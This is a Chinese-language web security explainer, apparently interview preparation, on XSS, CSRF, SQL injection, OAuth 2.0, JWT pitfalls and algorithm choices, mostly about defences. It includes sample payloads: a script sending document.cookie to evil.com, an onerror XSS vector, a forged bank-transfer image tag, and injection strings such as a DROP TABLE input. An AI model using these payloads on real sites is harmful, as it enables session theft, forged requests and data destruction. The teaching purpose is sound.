Skip to content

网络安全核心

XSS(Cross-Site Scripting)是攻击者向网页注入恶意脚本,使其在受害者浏览器中执行的攻击方式。

1. 存储型 XSS(持久型)

攻击流程:
攻击者 → 提交含恶意脚本的内容(如评论)→ 存入数据库
受害者 → 访问包含该评论的页面 → 浏览器执行恶意脚本
示例:
评论内容:<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
服务端未过滤,直接存入数据库
所有查看该评论的用户 Cookie 被窃取
危害最大:影响所有访问该页面的用户

2. 反射型 XSS(非持久型)

攻击流程:
攻击者构造恶意 URL:https://example.com/search?q=<script>...</script>
诱导受害者点击
服务端将 q 参数值直接渲染到 HTML → 浏览器执行脚本
特点:脚本在 URL 中,不存入数据库,需要诱导用户点击

3. DOM 型 XSS

完全在前端发生,服务端不参与:
恶意 URL:https://example.com/#<img src=x onerror=alert(1)>
前端 JS 代码:
document.getElementById('output').innerHTML = location.hash.substring(1)
// 直接将 hash 插入 DOM,触发 onerror 事件
特点:不经过服务端,传统 WAF 难以检测
1. 输出转义(最重要)
将特殊字符转为 HTML 实体:
< → &lt; > → &gt; & → &amp; " → &quot; ' → &#x27;
2. CSP(Content Security Policy)
通过 HTTP 头限制脚本来源:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'
即使注入了脚本,浏览器也拒绝执行
3. HttpOnly Cookie
Set-Cookie: sessionId=xxx; HttpOnly; Secure
JS 无法通过 document.cookie 访问,窃取 Cookie 的 XSS 失效
4. 输入过滤(辅助,不能单独依赖)
过滤 <script>、on* 事件属性等危险标签
问题:过滤规则容易被绕过(大小写、编码等),不应作为主要防御
5. 使用模板引擎的自动转义
React、Vue 等框架默认对插值进行转义
dangerouslySetInnerHTML / v-html 需格外小心

CSRF(Cross-Site Request Forgery)是攻击者诱导已登录用户向目标网站发送非预期请求。

攻击流程:
1. 用户登录 bank.com,浏览器保存了 Cookie
2. 用户访问了恶意网站 evil.com
3. evil.com 的页面中包含:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
4. 浏览器自动携带 bank.com 的 Cookie 发送请求
5. bank.com 验证 Cookie 有效,执行转账
CSRF vs XSS:
XSS:注入代码,在目标网站的上下文中执行
CSRF:利用用户的登录状态,伪造用户发起请求
两者可以组合使用(XSS 可绕过 CSRF 防御)
1. CSRF Token(最常用)
服务端生成随机 Token,嵌入表单或存入 Session
每次请求必须携带该 Token,服务端验证
恶意网站无法获取该 Token(同源策略限制)
<form>
<input type="hidden" name="_csrf" value="随机Token">
</form>
2. SameSite Cookie
Set-Cookie: sessionId=xxx; SameSite=Strict
• Strict:Cookie 只在同站请求中携带(跨站完全不带 Cookie)
• Lax(现代浏览器默认):跨站 GET 请求携带,POST/PUT/DELETE 不携带
• None:所有跨站请求都携带(需同时设置 Secure)
3. 检查 Referer / Origin 头
验证请求来源是否为允许的域名
局限:Referer 可被用户隐私设置屏蔽;可被某些场景伪造
4. 双重 Cookie 验证
将 Token 同时放在 Cookie 和请求参数中
服务端验证两者是否一致(利用跨站无法读取 Cookie 的特性)

SQL 注入是攻击者将恶意 SQL 片段注入查询语句,操控数据库的攻击方式。

漏洞示例:
String query = "SELECT * FROM users WHERE name='" + input + "'";
正常输入:alice → SELECT * FROM users WHERE name='alice'
恶意输入:' OR '1'='1
→ SELECT * FROM users WHERE name='' OR '1'='1'
→ 返回所有用户!
恶意输入:'; DROP TABLE users; --
→ SELECT * FROM users WHERE name=''; DROP TABLE users; --'
→ 删除表!(若数据库用户有权限)
1. 预编译语句/参数化查询(最根本的解决方案)
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE name = ?");
stmt.setString(1, userInput); // 参数和 SQL 语句分离,不会被当作 SQL 解析
2. ORM 框架(MyBatis/Hibernate)
MyBatis 的 #{} 使用预编译,${} 是字符串替换(危险!)
// 安全:
SELECT * FROM users WHERE name = #{name}
// 危险:
SELECT * FROM users WHERE name = '${name}'
3. 最小权限原则
应用使用的数据库用户只有必要的 SELECT/INSERT/UPDATE 权限
无 DROP/TRUNCATE/CREATE 权限,即使注入成功也难以造成毁灭性破坏
4. 输入校验(辅助)
对特殊字符('、"、;、--、#)进行转义或拒绝
不应作为主要防御,规则容易被绕过(编码、宽字节等)
5. WAF(Web 应用防火墙)
检测和拦截常见 SQL 注入特征,作为纵深防御层

OAuth 2.0 是授权框架,解决”第三方应用如何代表用户访问受保护资源”的问题,而不是身份认证。

授权码流程(Authorization Code Flow,最安全):
用户 第三方应用 授权服务器 资源服务器
│ │ │ │
│── 点击"用 GitHub 登录"→│ │ │
│ │── 重定向到授权页面 ─────►│ │
│ │ ?client_id=xxx │ │
│ │ &redirect_uri=xxx │ │
│ │ &scope=read:user │ │
│◄──────────────────────── 授权页面 ────────────│ │
│── 用户同意授权 ───────────────────────────────►│ │
│ │◄── 重定向回 redirect_uri │ │
│ │ ?code=authorization_code│ │
│ │── code + client_secret ─►│ │
│ │◄─── access_token ────────│ │
│ │── access_token ──────────────────────────────►│
│ │◄─── 用户数据 ────────────────────────────────│

为什么要 Authorization Code,不直接返回 Token? code 通过前端浏览器 URL 传递(可能被记录在 Referer、历史记录中),Token 通过 code + client_secret(后端持有,不暴露)换取,保证了 Token 不经过不安全的前端通道。

JWT 是一种紧凑的自包含令牌,无需查询数据库即可验证用户身份。

JWT 结构:
Header.Payload.Signature
Header(Base64URL):
{"alg": "HS256", "typ": "JWT"}
Payload(Base64URL,不加密,任何人可读):
{"sub": "user123", "iat": 1700000000, "exp": 1700003600, "role": "admin"}
Signature:
HMACSHA256(base64(Header) + "." + base64(Payload), secret)
或 RSA/ECDSA 签名(非对称,可公开验证)
验证流程:
1. 解析 Header,得到算法
2. 用相同的 secret 重新计算签名
3. 与 Token 中的 Signature 比较
4. 验证 exp(过期时间)、iss(签发者)等 Claim
1. alg=none 攻击
某些库接受不签名的 JWT(alg=none)
防御:服务端强制指定允许的算法,拒绝 alg=none
2. 密钥强度
HS256 的 secret 要足够随机(≥256bit),否则易被暴力破解
3. 无法主动吊销
JWT 是无状态的,在过期前无法使服务端侧让其失效
方案:短过期时间(5~15分钟)+ refresh token;或维护黑名单(引入状态)
4. 敏感信息不要放 Payload
Payload 只是 Base64 编码,不是加密!任何人可以解码
不要在 Payload 中存放密码、手机号等敏感信息
5. refresh token 要严格保护
比 access token 生命周期长,一旦泄露危害更大
应存储在 HttpOnly Cookie,而非 LocalStorage

对称加密(加解密用同一密钥):
AES-256-GCM → 推荐,提供认证加密(防篡改)
AES-128-CBC → 较旧,需额外处理 HMAC
ChaCha20-Poly1305 → 移动端推荐(软件实现效率高)
非对称加密(公钥加密,私钥解密):
RSA-2048+ → 目前安全,但性能较差
ECDSA / ECDH → 基于椭圆曲线,相同安全级别密钥更短、速度更快
Ed25519 → 现代 SSH 密钥推荐,安全且快
哈希算法:
SHA-256/SHA-3 → 通用哈希,验证数据完整性
bcrypt/Argon2 → 密码存储专用,带盐+故意慢(防暴力破解)
MD5/SHA-1 → 已不安全,不应用于安全场景
密钥协商:
ECDHE → TLS 中的密钥协商,提供前向保密
X25519 → 现代 TLS 1.3 推荐的 DH 曲线

Q:XSS 和 CSRF 的区别?

XSS 是注入攻击,攻击者将恶意脚本注入到目标网站,在受害者浏览器的目标网站上下文中执行,可以窃取 Cookie、操控 DOM。CSRF 是请求伪造,利用用户已有的登录状态(Cookie),诱导用户发送非预期请求,攻击者不需要注入代码,只需要让浏览器自动携带 Cookie。XSS 是目标网站的问题,CSRF 是用户身份验证方式(Cookie)被滥用的问题。

Q:如何防御 SQL 注入?

最根本的方式是使用预编译语句(PreparedStatement),将 SQL 语句和参数分离,参数不会被当作 SQL 语法解析。使用 ORM 框架时注意 MyBatis 的 ${} 是字符串替换(不安全),应使用 #{}。辅助措施包括最小权限原则、输入校验和 WAF。

Q:JWT 有哪些安全风险?

  1. alg=none 漏洞(服务端必须强制指定算法);2. Payload 不加密,不能存敏感信息;3. 无法主动吊销(需要配合短过期时间+refresh token 或黑名单机制);4. 密钥泄露导致任意伪造(需保护 secret);5. refresh token 需存在 HttpOnly Cookie 中,防止 XSS 窃取。

Q:OAuth2 授权码模式为什么比隐式模式安全?

隐式模式(Implicit)直接在 URL Fragment 中返回 access_token,可能被泄露在浏览器历史、Referer 头中。授权码模式先返回 code,再由后端用 code + client_secret 换取 token,token 的传递全程在后端进行(不经过浏览器),client_secret 也不暴露给前端。OAuth 2.1 已移除隐式模式。